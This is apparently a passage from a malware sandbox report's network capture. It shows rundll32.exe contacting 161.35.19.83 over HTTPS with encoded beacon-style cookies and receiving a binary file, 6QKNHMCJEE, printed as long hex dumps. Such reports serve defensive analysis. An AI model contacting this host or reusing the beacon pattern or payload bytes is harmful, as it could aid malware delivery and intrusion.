2021-09-28 07:54:15 UTC	1022	OUT	Data Raw: 4d 53 2c e8 9a f0 75 a4 10 ea 04 87 a5 78 8a 9a 88 99 8a 23 54 22 d2 69 37 3e e7 83 20 6f d6 3f c0 5a c9 73 d0 6b ee a6 f2 5c bb 8d 42 25 8b 8c 60 33 31 7a cd e6 c5 8a 20 9a 8f 32 a9 e7 7e 08 1b 12 84 ef ff 68 08 96 72 de 9d a7 bc 33 a7 09 fe 65 00 dc 62 d4 29 2f 38 0c 73 95 08 af 2d ce a0 15 4e 19 13 21 d1 94 c5 ae 5b 70 4a 2d 82 bb 58 42 91 c2 b0 5a 62 90 14 f6 0b d1 7f 50 6c 2e a7 bc c7 0e 45 f5 48 3d 1a 61 94 59 77 9c c3 b1 06 3a 1f 9f 24 c6 eb c9 44 32 af 98 7b 09 ba da 6d ce 39 17 d3 f6 4b 64 41 53 4d 12 70 02 c2 15 6d 5a c8 78 64 ec c5 52 5b 1f 70 76 53 c8 3d 7e 2c 31 02 a9 e5 22 7e d9 8d ce d2 18 9e 47 17 fc 3d 9d d1 f4 c4 1f 29 3d fa f3 8f 31 b6 b1 99 8e 74 51 2e 90 f6 22 31 52 6d 3b 20 ae f5 df 4e 57 0d 83 9e 2c 2b 80 80 a8 ed 10 39 d7 57 35 59 Data Ascii: MS,ux#T"i7> o?Zsk\B%`31z 2~hr3eb)/8s-N![pJ-XBZbPl.EH=aYw:$D2{m9KdASMpmZxdR[pvS=~,1"~G=)=1tQ."1Rm; NW,+9W5Y
2021-09-28 07:54:17 UTC	1027	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: text/html; charset=UTF-8 Connection: close Date: Tue, 28 Sep 2021 07:54:17 GMT X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49876	161.35.19.83	443	C:\Windows\System32\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-28 07:53:36 UTC	595	OUT	GET /feed/news/last HTTP/1.1 Date: Tuesday, 28 September 2021 Cookie: DV=NmDRE1VmNGm9CO97h%2BC6zTAa%2F5FQRD2VPiIPXz6AWS0DykWvWFTV2s7LzFiuaUB8evtfdKtTAiM2Wj5iqDRydsqg8F6RBtEQ9MGq242wtun7MBSYvj7Csyu3yaqvfciKfrIIn%2BJi37NljeLmRKR8r5PdiQ%2BsuDWPisn3SIk9xgSbY5BI3Iqe6PJ0cZ0U%2B%2BsgIw7NvsuPRNTPmI2OHzrlfEWT0rbJVw7iQVgAhRFH5e2ACaBdF63u4NEXDu5MAdc2SZhHMiyPhhm9Zt4o12%2F6rhJK%2B1hwaw7%2BNcO7wcZY2lOYyD2YlnVp%2F7cSZmbDsQRarG%2FpYUBZlAT80tfd012qfA%3D%3D;HSID=gq8ZNbDF5ks85z4P%2BIMaH%2FzRLe46r7%2F%2Bhnn%2FpDJO9YmEXgEQh2yDpRm3wm6yEc8nw0QU9K1eeO0FbnVhhYzuhW9U2CPf4r9Sa0ADgwo6ZchGF7aQeC26N6C%2FCCbYOrfYNipK%2B2Zc6aerq5aAq%2F5DlAaVWkC3UqSbjwPa87rS4RRJ%2FgQ%2BhUe9KG7SMycbxOmDLWgMm5AorosFNcYgqAbxdUeyPWj58HkitgRmQpb0AnoipNS8s%2BRYlVzgQTpYz2w2ApzBXhbNaHx6H%2BPNhSnIBxjhUJh%2BEnfERdY3%2FereScY2VGlOIu9kQN2qSQB6cX%2FydHVs9oYSGgbalJ9%2FKRtZmA%3D%3D;CGIC=I0QqpVRJTwtNKn6NnJi7bq0Rb5mvBHVLnVXytI4WgBtHarC6ZbZ4GltpLZXHAAhD9i4IaG3TUCGIyAL7S3aqIM2qS0IIREJBTyAMgTV6z6T0mEqxH4P88dowEtkCyV%2Fnp3oifkkABeef69VVbSuPUlBz35mP3890lZOqY9zLJNn5koCz4S03I%2F4Y3LO5wvz5iBM3ibMb3zmNx%2FR0e%2FuTxxjvyIrenimNvLo3pIq3vQtFv%2BgNJGTtVnX%2BoB0CXlkNgjjGUtE%2BsDO40k%2Fy%2FOkBY%2B%2BlLjZzdO6txR9yKtFkqv8wOAlUAwXb7Lgdk8uhOUJILTqgZ227c8RdlTlz3FdJ8w%3D%3D;ANID=xVowcHtfRGGr9q86%2BKDDlQUlz12EyXnm%2BwSw5bocGBNCum2Y68CCFKN%2BUFMcT%2BgfQzFSrH0BZ2VgaHcSf15kstGfA9igVagx2H1dPWCtyZtL3OJm6Ky0hhvHcmCmmNW0yT2kgdaRx4EJE311WDwLYth1yWk8DBGFwprRw7LJHYGewrnEjnMFCAz18H9DhROzjPHb%2Bk8VM4A7cRcQSbDqsVXmhzfTFFwEHVHDsJfW0Ge0B%2FNvAlm9Mrkw%2BGO%2BkHnaZz1C3mqQomRbaHt%2BC5oW0W96ivK8AlLKDYJWwyb6EK%2B4tll99ComYoJOampTna1hOJEw4gY%2BlCvIE6QUGrTrcA%3D%3D; Vary: 2H%2B0pCwsE1FMJghqDIlR5zaiGnShZ7apvPlU0GmhSREDthh89S47atzXI0P2PfOjfrsg2nj99R1GkmfwIvtuV%2BIt33OGWLod%2FLYrR9moE1oZbH90qPTm7ASuHeEfaAkUDH%2BnqmRM9fqVk0Gl1Dmi3CGx742qjaJIUw7h1wk4OOj%2F84Mkghxb4GFB5FCFiTF11d90eIP%2FB13C0ECDa2wG5vUz7Mik9cSHcXpOhICU1CSf5BLtfq5QYYnHMOWqitZG6YK0iJpj2fVUS55Vam0ni33TvsPDChA%2B%2BZnsBpWGW5Lv8AeIkWuwfaZFefqc9FMAkOlJLdeTPWYlUCSjAmA5MQ%3D%3D Var: GV9IwsFgKM%2Fa0NTlWc%2BJch8SGmjdbcDcGSSyBgcaDVa%2FS8C3xVCzUrwcONzNPnsTLYcdDgpdzoKn2vaIdo4Qsn5aYSUgmL7UCD2JqJUV59vOyFEAGALk7gcj%2FC8t6nVXLibtlV3Ap8FVppaCZkv94UeVZks3GPWLfJeRaqkIn7bl%2FR91YEZ3%2FWeTg76d4kASYqJKexSawCaqfR73s3Wyh2SstWS6EuEVxq7fKwz4fT6%2ByXxvUCiTRHXVgT0KioWy0SFiMCWhud787zLkPNF%2BPy7vpiGxU5jNaIwayUPdfwdYWcDOCW2q8TWQKQOuQw47p1RP4ElBEzA8GQ8ZmmUGLA%3D%3D X-Tag: aQlxsYr3KA1o7Bm%2FD9X9q1Jhb7t5WWZbazS03pNy1SQp7Y0W7df5QTIS8NCw2a1briul%2Ft9wZCbsUQ%2BeZ5NbGOG97eNgGGac3%2FLiy6loEG3mmo4jhcxaImf5cYsFdvRCFS389Vm0hVNjDFgFtFpMgbEc5iwdvoseExY9G9urlbmR6WfwrUn%2FYeuzpZZieEbTDFRRXXehEWAfR4kFfTcwUXCAG1HHlUUX%2FkQf9vWrrUsT%2FjWkmug9upxoMy2XBM4uxJtECL%2Bsu6gMzIoXLtobSl61mlAj9nBOgwmzrK7p2JwmUmRhHT9UsAQXIWAw1Jg0oD%2FRju%2Fi0HcNg4iJ4kWt2A%3D%3D User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31 Host: 161.35.19.83
2021-09-28 07:53:39 UTC	601	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Content-Type: application/octet-stream Content-Length: 293376 Connection: close Date: Tue, 28 Sep 2021 07:53:38 GMT Content-Description: File Transfer Content-Disposition: attachment; filename=6QKNHMCJEE Content-Transfer-Encoding: binary Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block
2021-09-28 07:53:39 UTC	601	IN	Data Raw: 6b 56 58 1e 45 f9 b1 2c c2 32 d1 5b d2 d8 ba 5e ba 9f 2a ab 01 87 a5 eb 46 18 d8 80 c4 f5 38 61 e4 e9 aa 5a 12 6e d3 ad a5 9b 98 85 48 b9 09 de d0 2a 29 d2 ab 5a ec 20 43 2d ac 43 1f 0b 02 f9 ad 3e ec 73 6e e4 40 e9 39 94 3e b2 3a 2b 87 63 bc 71 5a ad de 29 8f 78 17 47 61 a8 85 44 f3 84 e1 36 92 0b a4 de 99 97 69 f1 cb f4 91 e9 86 d9 14 eb 08 d0 2b e3 1d 6a 62 58 a9 ef 79 67 70 a8 13 3b 0b 65 8b fc f6 03 f3 7b 1d c5 22 6a 42 40 58 93 87 61 e4 1b ad 68 0e c2 4f 60 08 01 08 fb 32 98 16 22 c9 fe 7e a5 f5 ec 8c 31 1d 20 4a cd 42 1a 94 bb b6 04 e2 85 29 c6 da 7c 1a 85 dd 73 70 53 61 7a c7 e2 aa ac 89 cf 60 7e cd 09 42 dc 29 4f 65 8f 08 68 e2 de 62 6e 0e 8d 4f 01 a5 75 06 ec 89 0f cf 9e 17 e4 19 fa a4 39 ba 8f 46 05 62 7e 8e 16 cb a5 d4 43 fb a0 13 7f 70 af 4a Data Ascii: kVXE,2[^F8aZnH)Z C-C>sn@9>:+cqZ)xGaD6i+jbXygp;e{"jB@XahO`2"~1 JB)\|spSaz`~B)OehbnOu9Fb~CpJ
2021-09-28 07:53:39 UTC	605	IN	Data Raw: 5e 0a be 1f 91 d9 95 6e 70 7c fb d9 b8 e1 18 69 92 29 33 d6 04 ea de 3d 64 8a a3 e1 a6 1f 1e 92 07 9c 4d 72 25 b8 d9 ff 9f f3 48 df ef e0 86 af 09 49 3f 8c cb f1 44 8a 31 35 08 14 4d 2a 11 23 d6 d5 c8 7e 5e 27 88 0c 2f 17 4c c2 ef d7 8f c8 ec 2f 9f e2 61 15 f8 52 32 4c a8 d3 3e 2c 6e f4 7c c0 bd 02 5e a1 6a 88 f5 be 59 08 fe 9e 3c 3d 67 6b a1 82 97 a1 33 7f 77 d3 5b 1d 1c 6a b1 04 03 a9 c9 68 6f 25 6a ba 75 85 ec 58 9d 1f 31 24 03 fb 75 0c 70 cd 37 18 d3 4e 40 cc 2b 52 38 43 a1 5a 24 94 08 fe ba c9 7f c8 e7 40 f7 91 39 8a bd 6d 80 39 5e 74 ea d1 08 67 82 bb 0c 61 62 fb 1c 52 27 f6 44 ae 39 6a 79 f6 1c a4 a9 e9 f6 ce f3 bd a5 62 27 d5 6a 51 17 a8 b6 4b 89 25 8f 7b 46 74 3f 41 f8 4a bb e4 24 00 d1 5a 0e be 41 1a 3d a3 14 9b 63 40 78 c1 90 55 f8 5d f1 90 01 Data Ascii: ^np\|i)3=dMr%HI?D15M*#~^'/L/aR2L>,n\|^jY<=gk3w[jho%juX1$up7N@+R8CZ$@9m9^tgabR'D9jyb'jQK%{Ft?AJ$ZA=c@xU]
2021-09-28 07:53:39 UTC	609	IN	Data Raw: dc 75 eb 7b f6 f8 74 d4 b4 71 86 e9 09 8e de 86 b8 f7 a7 ce 3a 0c c0 11 9b 71 a2 b8 53 94 79 e9 44 59 c9 91 0f ed 81 99 f4 88 6a 69 1c c2 db 9d 8d 5a 8f 1b 39 0b bc ae 80 8a 72 f1 43 5f 49 36 19 11 4a ef 71 89 bc 75 b9 ff 6a 79 37 6d 1d 71 d6 9c 6a a0 65 1b 7d 1c 3c 7c fe 55 77 0d 05 df 31 12 67 83 93 b9 18 6a 27 75 21 54 b0 bf 52 fe f3 5a f3 e5 7b 5a 6c 74 72 4e f8 86 1a 51 83 ce 50 9d ce bc 3d cd 19 06 c8 8e f5 e2 bd ed d7 b0 c6 8f f1 20 7f 9d 0d 4b 4a e8 b7 69 a5 07 aa 3f 22 5d e9 ec da 63 88 21 30 62 0c 10 8d ed 73 db 87 f6 96 ab 86 39 59 c8 a7 f5 bb 1a 10 0c 59 08 5b 07 56 a3 7d 60 00 52 ad 47 5a 57 91 6b 01 70 49 e1 7c 92 ca 26 c9 a0 58 b7 eb 44 ae 3f b0 64 0c de aa b0 1a 8c bf 0b c7 79 7c 8a 63 d0 b9 36 b7 59 06 c3 5f e7 e7 85 85 ae 9b c4 9e 6c b7 Data Ascii: u{tq:qSyDYjiZ9rC_I6Jqujy7mqje}<\|Uw1gj'u!TRZ{ZltrNQP= KJi?"]c!0bs9YY[V}`RGZWkpI\|&XD?dy\|c6Y_l
2021-09-28 07:53:39 UTC	613	IN	Data Raw: ff a6 92 b0 65 e6 d6 9a 11 0e 52 ab 88 09 ca 23 25 26 82 9e b8 7a 11 3c 8f b2 fa 11 11 33 fd 6f a5 2b 72 30 a3 65 cf 29 51 2e fa 07 ec ed 4d 98 0b 3e 46 44 30 65 81 14 5e 9d aa ad 03 4e 19 9a 8c 48 b6 46 ac cf 46 20 51 a2 44 99 88 48 c1 08 74 51 a1 65 3a 0c ac 44 f9 02 29 71 e9 00 6a 8d a3 a0 1a 14 1c e6 29 ff 6b 69 a0 c8 8f 3f 17 d2 85 da c5 48 0e 5e dc 77 9f 3a a1 56 6a a5 67 6a 89 7b a0 5b e4 a5 15 79 d4 4a e3 76 37 17 ea e4 dd 13 02 a0 2f 7c a1 63 f9 29 2c 7e b9 b6 d7 12 48 2d 82 3a 90 b4 0e 4e a9 3b 8e aa 32 31 8b 7c 9b 86 19 07 15 28 87 e7 10 81 b6 21 3f 11 da f4 61 5c 46 cf 9a d0 26 80 12 5f a8 9c cd eb 2f 83 3b 1c 72 c1 48 0c e0 8d 83 25 70 73 99 dd 29 1a e1 68 6d 3e 64 a8 f5 71 e5 54 ca c4 45 91 a3 6d de 81 4a ed fc d2 83 b2 8c 29 4e 41 18 15 41 Data Ascii: eR#%&z<3o+r0e)Q.M>FD0e^NHFF QDHtQe:D)qj)ki?H^w:Vjgj{[yJv7/\|c),~H-:N;21\|(!?a\F&_/;rH%ps)hm>dqTEmJ)NAA
2021-09-28 07:53:39 UTC	617	IN	Data Raw: c3 fa 35 11 6b c7 86 42 51 d9 47 1d 1e 9b 46 5d fb a0 2a e9 78 a4 c5 f4 60 70 07 01 99 fa a2 10 85 c4 e0 09 9f 57 d1 61 3a 7c 5f 4f 51 a9 33 83 42 92 ab e1 7c 55 7f f2 fb f9 8a 21 c4 af 4b f3 c1 d7 c8 35 91 cb e4 68 d8 05 f1 1b 05 10 2e 2f 00 67 d9 e1 a3 d8 fb 83 61 aa 93 a3 b3 ea 4e 45 c8 75 ea 98 72 88 c2 44 9c f9 5c 1a 59 9d 8a db b0 d7 15 51 e1 d0 c6 65 c6 a1 ae be 63 f9 ea e3 15 1d 62 c3 d6 7b ae a2 1a 71 75 b5 f7 74 27 eb 30 d5 7f bb 34 f0 f3 65 30 1e a7 19 57 97 a2 6b 3a 3a f2 15 32 7c 9b a1 f0 ea ff 9d 75 b6 6e b6 d1 99 26 07 7a 31 8e 08 b7 ff 88 13 54 b8 ae ba 32 0b f0 5c a9 22 06 2b 13 c1 24 ae da ec 72 6f 37 3a 51 c1 8c ee 9d b9 e6 4a 94 3e 2a 8b b8 f7 b6 25 6e 5a 2e 02 8f e3 e9 49 e0 03 c7 20 80 11 fb bd 15 c4 6b 90 a3 9e bd 1a 4c 97 5b d1 13 Data Ascii: 5kBQGF]x`pWa:\|_OQ3B\|U!K5h./gaNEurD\YQecb{qut'04e0Wk::2\|un&z1T2\"+$ro7:QJ>%nZ.I kL[
2021-09-28 07:53:39 UTC	621	IN	Data Raw: 2e 65 be b0 f8 46 17 73 82 48 b1 66 be c6 de df 59 c8 73 7e d5 3a 17 57 2b 12 0b 73 36 55 b2 ef 5c 0c 66 48 40 ef c5 3b 04 78 10 6e 14 ff 84 df c8 3f 32 80 2b 4c 8d d1 70 57 8c 92 5c 74 de 42 a1 72 dd cf 27 98 9a 4d 37 d5 0e 55 1b 0f 7d b4 95 bb 9b 2a ad 4f ef 69 bd 9d 86 cf fe 22 eb a6 a9 05 b8 48 40 df 5e 9c bd a5 14 a7 c2 8a dd 0d f8 b9 c6 35 68 3c 6e ba 88 a3 99 94 e1 e6 0f 33 46 c9 b0 94 57 75 16 b4 e5 bd f9 69 f8 49 45 3d c9 2d 3c 7a e9 70 8b c0 9f 70 fb 57 8b 2e 79 42 cc cd 56 ac f5 12 b6 ca 61 92 75 53 e3 df 87 9d 34 d4 b6 a5 c1 dc 88 2a f0 8b 99 3e b7 51 61 c9 d4 1a e8 c2 f2 fe e6 d1 24 82 eb 6e 32 66 3d 30 8b 78 6e 79 27 c7 55 9e 6b 12 37 96 5d fc 97 c7 f6 30 f3 78 2e fd f8 c3 d5 66 ff 1e e6 f0 46 0c cc 7a 5d 3b 70 f1 f9 59 20 19 cc 2b 1c d4 99 Data Ascii: .eFsHfYs~:W+s6U\fH@;xn?2+LpW\tBr'M7U}Oi"H@^5h<n3FWuiIE=-<zppW.yBVauS4>Qa$n2f=0xny'Uk7]0x.fFz];pY +
2021-09-28 07:53:39 UTC	625	IN	Data Raw: f9 16 c5 a1 fa b7 f9 58 b0 2f d5 97 83 ed 89 b7 2c 56 43 ae e9 b5 c2 82 e8 f4 58 ac 3a bd 9f 31 2b da c9 85 63 e4 83 09 e6 08 f3 c4 7b a7 68 a5 d6 c3 dd 10 bc 76 58 bf d7 e3 17 d2 10 fd 63 72 24 14 f7 b6 c1 fb ce 66 a5 6d ee 78 00 97 1d f9 98 3e 6d 22 21 2f 33 3e 51 43 57 70 1a 20 e9 1a 94 1e fa e3 20 b4 32 a1 c3 f7 3f a2 8b ff 46 08 ab 62 e2 86 fd 90 e4 b2 ac 4b f2 4d f4 28 a6 70 ee 7d 26 3f 15 55 63 cc f4 08 72 21 f4 41 6d 55 03 b5 d1 90 78 d1 c1 54 00 2e 44 c4 6a 46 83 8d dd 3a 6d c0 58 38 cc 86 52 bc af e4 23 ec 2d 33 8b a0 ef 94 46 96 c2 f8 40 fd 5c 62 8b b9 ad bf 9b be ec c3 19 27 54 2d 8a ec 65 03 12 d5 78 dd d6 24 a3 5c 64 c3 78 5d 99 3a 94 35 d8 ac e8 3a 44 5b 5c 44 af c4 c5 b2 b2 8a f7 9b da 3f a0 9e a2 e9 c0 48 6b 4a 16 76 35 f7 6d 24 f3 8e 7e Data Ascii: X/,VCX:1+c{hvXcr$fmx>m"!/3>QCWp 2?FbKM(p}&?Ucr!AmUxT.DjF:mX8R#-3F@\b'T-ex$\dx]:5:D[\D?HkJv5m$~
2021-09-28 07:53:39 UTC	629	IN	Data Raw: 1d 79 c1 dd 81 8e aa a3 44 de a9 34 c4 27 a4 0a 9a f6 f2 36 99 ba 00 96 1e 44 f4 0c 9e bf b0 37 74 2e 6e 60 57 c9 27 e3 61 a1 d0 72 5c 60 66 ca 2a fb ff 94 12 06 50 26 89 7c d4 4d 1f 94 04 1e 27 e6 79 87 b3 1e d5 b3 42 33 2a f6 79 83 29 11 8b b8 2c b7 f2 53 55 df e7 5c 90 94 15 ef 94 4a 30 ad ab bc d1 65 42 83 87 05 c6 c1 25 ea 1a 08 ba fa 95 6e 48 ed 00 08 54 2c ca 64 b2 ef 14 e7 06 02 b4 ec e5 ae 18 10 6a 37 66 30 cb 40 64 2b f1 a1 2f 57 86 fb b2 b7 db c9 b1 b1 32 ef 2c b7 62 b0 4b ec 14 84 9f 72 82 f9 de 72 87 9d 2b c8 3d cf dc c0 fe f8 59 f9 7b d4 8d e1 fd 37 01 c1 e0 c7 10 8a 37 23 29 87 8d a0 3e a0 f6 b0 7b 56 c0 d6 4f 50 fd ac b4 6a e3 cd 9f 8f 5d 3d 9b 72 81 50 94 cc 48 47 81 ed c1 d4 34 9c 88 21 72 d9 2c b8 63 d5 09 f1 66 89 22 7c 8e 54 62 93 d5 Data Ascii: yD4'6D7t.n`W'ar\`fP&\|M'yB3y),SU\J0eB%nHT,dj7f0@d+/W2,bKrr+=Y{77#)>{VOPj]=rPHG4!r,cf"\|Tb
2021-09-28 07:53:39 UTC	633	IN	Data Raw: 12 10 ab 9a dc f4 ec 46 69 b2 bf ef 96 1a 5d 66 48 02 1d b2 64 4d 92 99 fa aa c8 fa a0 fb 3a bf 82 8c af 44 f2 16 48 42 97 00 e5 3b 88 61 42 88 1f eb 6a 41 e9 b2 f6 c9 86 e9 6e 3e 29 fe 3f 2e 62 33 1d 7a c7 c0 49 d5 42 7a 9f 75 07 ad 4a 5c d9 b7 01 71 ca e3 ea b0 75 b4 3f c6 4e c3 c5 65 85 df ac fb a6 7b ba ad d7 26 88 1c 40 75 1e 61 d2 93 bd 2e eb a7 09 4c 36 d4 df 7c 94 13 93 46 f7 f5 04 7f 18 ee 81 e0 04 4c d6 08 ad 8b aa 25 ef ac 77 33 92 16 5a 81 3f 82 55 2b b2 c9 f3 8c 2c 1f 84 17 4b a4 a3 b2 b5 d5 7f 65 4a 1d 0c d8 57 de 2d 9c 2a 8a 8b 20 f6 60 00 8b 5a 46 96 4d c2 8a 65 95 d2 36 f1 ce dc 17 f3 e1 34 49 d0 f6 33 79 2a ff 3d 67 75 4a f5 a7 75 4d 21 b9 5b 52 44 94 83 6c a5 2e 50 b9 6a 23 ee 51 d1 7e aa 7f 33 d4 4b a8 6e c8 30 93 4a a8 37 6b 68 e8 64 Data Ascii: Fi]fHdM:DHB;aBjAn>)?.b3zIBzuJ\qu?Ne{&@ua.L6\|FL%w3Z?U+,KeJW-* `ZFMe64I3y*=guJuM![RDl.Pj#Q~3Kn0J7khd
2021-09-28 07:53:39 UTC	637	IN	Data Raw: 3d 79 e8 7e d8 af 46 b6 d6 22 c6 d3 7d e0 e5 bb 6b 62 f1 6e a0 59 01 1b 87 88 a7 3e 0c 5f cc ae 5b 26 1a d5 ca c5 0a e1 6c d7 66 22 d5 da 4f 62 b5 91 db 9e 91 b4 9a 7f 48 a4 f1 86 7d 47 04 66 9c cc ac f5 f3 18 d8 46 73 d9 2a 81 91 28 11 52 87 e6 3e 6f 1a fd 5a c4 c4 0c 1f b9 5f af 3a 7d d3 72 9a ec e3 10 87 c7 5b 0f 47 d6 95 3b 49 b5 a2 12 2b db 6e 1c a5 a6 a3 34 7a 33 cd ab a7 0b c9 61 c9 3f 66 85 83 87 5a eb 82 6d d1 65 18 97 e5 19 62 92 96 3b 2b 7f e7 e0 6c be 44 dd 45 15 4b 7f 39 cb ef 92 6c 11 cf c2 e2 0b 9b d8 8d 64 80 59 bb 39 c0 08 3b c9 eb 3a b5 bd 70 b1 a3 69 8a 00 04 d0 6c df 54 22 8c b6 50 ee c1 da dc 54 12 2f d6 bb 76 f2 09 22 72 9e 03 77 f4 23 ca 60 f9 6e fd 3e 26 8b 1f 5a fc e1 24 11 1c 5d cc bc 1d d9 8e 4b eb 18 93 4d 24 a3 fe 47 99 aa 45 Data Ascii: =y~F"}kbnY>_[&lf"ObH}GfFs*(R>oZ_:}r[G;I+n4z3a?fZmeb;+lDEK9ldY9;:pilT"PT/v"rw#`n>&Z$]KM$GE
2021-09-28 07:53:39 UTC	641	IN	Data Raw: 02 66 4f e2 bd 5a df 0b e6 c5 3b f2 66 24 82 90 92 bf 42 a9 36 11 8b 31 25 49 b0 79 0a 95 d7 f6 25 59 ee 4a 1b 1f 6b 9e 92 e8 13 8b c0 30 4b a5 c0 65 1d 00 68 b1 38 99 c7 3b fd 78 e5 11 0b 82 c7 6a 89 ce fa 59 5f 21 42 b7 b8 e9 f6 26 7f 4a 0a 3f e3 b6 06 be f0 21 65 67 b2 67 3a 97 a1 c4 4c 2f 9d e8 4b a0 cb 0b 9c 3b e3 f7 d7 34 29 9f 0d e8 64 43 67 c0 47 c4 09 81 94 5c 40 d9 6a 62 1d 59 0d 6a c1 c9 48 d7 c8 ef de 70 b5 b4 82 34 8d 45 d4 b1 94 aa f1 d7 73 60 b4 ea 60 0a a9 a3 02 6f 3a a6 83 fa 1a db 5f 3c 14 0e 63 fc 79 70 1a 42 21 2a e2 34 b0 df ce 5d 1d 16 de 14 e2 cf b0 1f b1 aa c4 26 4e 5d ca ae d9 02 7d 17 73 39 9b 95 44 df 66 6d c8 52 37 b1 70 ce bd ff b3 9e 0d 15 97 fe a2 77 87 86 88 72 12 88 a2 8c 96 64 19 cd e8 42 94 0b 4d 1b 51 07 80 95 da f4 7f Data Ascii: fOZ;f$B61%Iy%YJk0Keh8;xjY_!B&J?!egg:L/K;4)dCgG\@jbYjHp4Es``o:_<cypB!*4]&N]}s9DfmR7pwrdBMQ
2021-09-28 07:53:39 UTC	645	IN	Data Raw: 58 b5 09 2e fb 46 6c 82 56 9c 41 85 1e dd 99 34 18 08 7b 48 88 98 0e b6 2e 6a bb ee 79 32 d3 1d 84 16 fb 59 10 14 47 4e 39 4c 45 e9 66 d4 90 66 76 a5 5c 5e 2f c5 4a aa 97 76 06 b3 bc 36 14 1d dc c2 86 cb cc 73 b9 9b 92 dc b1 9c e7 2a 5f cc c8 93 95 ab 3a 5a 11 ff b9 bf bd 49 20 2d 46 d1 9b 0a f8 9c 44 c9 b7 97 16 d6 00 27 ac c2 50 6a 40 1e 92 1e 38 ab 37 b9 23 71 11 da 7c a2 a4 08 54 4f 8b 9e a1 bc da 88 32 fe 9d cb cb 02 78 64 6b 04 19 ce 83 db fa b5 54 5e e1 07 ca 21 3b 9a 48 b4 83 7c 16 3e f0 52 79 c9 a3 8b 2c 12 70 7b 72 0f 31 17 b2 b9 5e ab cb f1 96 fa cc 64 8f fe a5 0d bf ee 21 48 af 64 b7 c0 36 c3 d7 c0 4f 9e b2 a2 72 6e 60 42 a6 92 8b 3a c6 2b 79 0f e5 14 ba 78 28 63 60 82 d3 72 ac 0d ff 95 da ca bf 5d 03 ee 10 fe e0 60 a4 d8 b7 fd e8 9d 34 23 f2 Data Ascii: X.FlVA4{H.jy2YGN9LEffv\^/Jv6s*_:ZI -FD'Pj@87#q\|TO2xdkT^!;H\|>Ry,p{r1^d!Hd6Orn`B:+yx(c`r]`4#
2021-09-28 07:53:39 UTC	649	IN	Data Raw: 1c 7e 72 e1 d8 1e c7 3e a9 b6 9e 62 b9 13 5b 1c d7 9c 02 a3 c0 04 a8 19 b7 66 77 fb 2a b6 cc c2 fb a7 ca e7 8f 22 83 7e 39 a0 32 8d 1d 66 a6 77 05 11 e7 9a 49 7a 27 fe dc d5 c8 58 8b 6a da da 34 6c 1b 24 9b 6f e0 ce a6 44 99 6e 84 57 12 b0 00 aa 30 c8 71 03 b0 23 48 10 83 05 cd 66 13 c0 e0 42 6d 6a 22 82 46 6e 7e 92 dd 69 a3 5d 2a 5d 7a 90 3e 05 ee da 42 9a 92 8e 0b a9 d1 33 29 26 c4 73 9a 08 fb 94 05 84 3c 96 c4 aa 76 52 bc 22 de 66 fb c7 f5 2a 19 9a af 61 0f e5 2b a5 a8 13 56 7c b6 90 ea 3b 7b 61 6e 57 6e ba bf 96 cf 50 d6 32 48 ac 55 97 2b 21 ba b6 1d 4d 2a a9 56 04 a7 3c fd 52 fa 9c 60 7e 09 45 a8 e5 49 b1 57 03 4a fd 14 ee 97 42 f0 c8 3e 59 7b 03 c1 87 76 f7 b6 aa 9c a0 53 0b aa df 2f e5 f0 db 99 26 ba e3 52 be 0b 02 6d db 74 9e a4 71 e7 ab 77 7d 75 Data Ascii: ~r>b[fw"~92fwIz'Xj4l$oDnW0q#HfBmj"Fn~i]]z>B3)&s<vR"fa+V\|;{anWnP2HU+!MV<R`~EIWJB>Y{vS/&Rmtqw}u
2021-09-28 07:53:39 UTC	653	IN	Data Raw: bc eb 9f be 75 1f 56 b4 23 43 42 f0 ac a7 11 66 2d 8b 88 be 98 fb 66 f9 eb 72 ad 97 02 e0 89 91 85 a5 24 e4 07 04 31 7f f5 b9 c8 b1 7f f3 fa df 8b 46 9c 48 7b ec 4e 20 c1 ea c9 ce e6 c2 52 e7 9f bb 89 c1 2e 80 e7 5c 63 7e 6e f5 c9 91 01 f9 2e c4 35 5c 1a b3 65 54 91 5f 00 93 6a 81 55 6b bf 92 ce 8a ac 0c 2d eb ea a7 74 c9 7e 3d 40 7f 63 21 f8 3f 8a 4c 90 78 8f 2c 39 5a b1 d5 81 6f 66 8e cd d6 e3 dd 06 5b 3d fd 75 7c 0c d9 8b 10 49 1e 67 f8 dd f7 f4 f9 87 c6 6a e5 e1 f9 f7 cd e5 32 ea a2 11 9d 7c 9c d5 38 ee c8 71 1e eb 76 d7 87 35 a1 bc cd b3 1f e6 0e d5 cf 50 7c bf 1d c9 e0 f1 7c c8 a7 39 0e db 5e 6e f1 ca 7b 2c df d8 64 e3 33 72 02 f9 03 31 18 d7 31 a9 b0 a6 fb 4d 9e 1c 4e 3d 1d 46 6a 62 79 6f 4b a7 b0 a1 09 59 8c 99 1a ae bd 12 2c 56 62 d7 ef 61 8c 37 Data Ascii: uV#CBf-fr$1FH{N R.\c~n.5\eT_jUk-t~=@c!?Lx,9Zof[=u\|Igj2\|8qv5P\|\|9^n{,d3r11MN=FjbyoKY,Vba7
2021-09-28 07:53:39 UTC	657	IN	Data Raw: 58 55 20 f4 3e 70 ee 38 bd 70 30 09 d3 93 66 23 62 c3 68 8e f1 71 41 82 fe 12 e2 06 b6 00 65 98 67 5a 4d 8f f5 2a 23 01 ff f1 34 d1 0b 8c 96 08 0a ac ec 33 88 29 72 22 1b 91 06 44 70 bc 61 dc 37 87 56 76 90 8f f0 97 fe d7 5b 0f 57 f8 fc db f2 89 e1 f2 32 19 4b 0d 39 fe 9f 36 a7 93 8f d6 f0 a8 99 f2 18 88 f7 10 b4 c8 06 a4 50 7b 2f bb f4 8f d6 19 9f 80 b8 0b e4 65 58 35 d3 1f bd f7 fc f1 1e 4f a8 e7 00 5f a8 3e 83 6f 25 37 98 f3 9a e8 ef ae e2 58 29 bb 52 0d 77 ac b4 c7 1f 8c 13 ab df d0 ef 0f f9 ff ae c5 3f 06 91 fe 57 3f c1 b6 8d 99 67 60 2b 13 ba 55 14 22 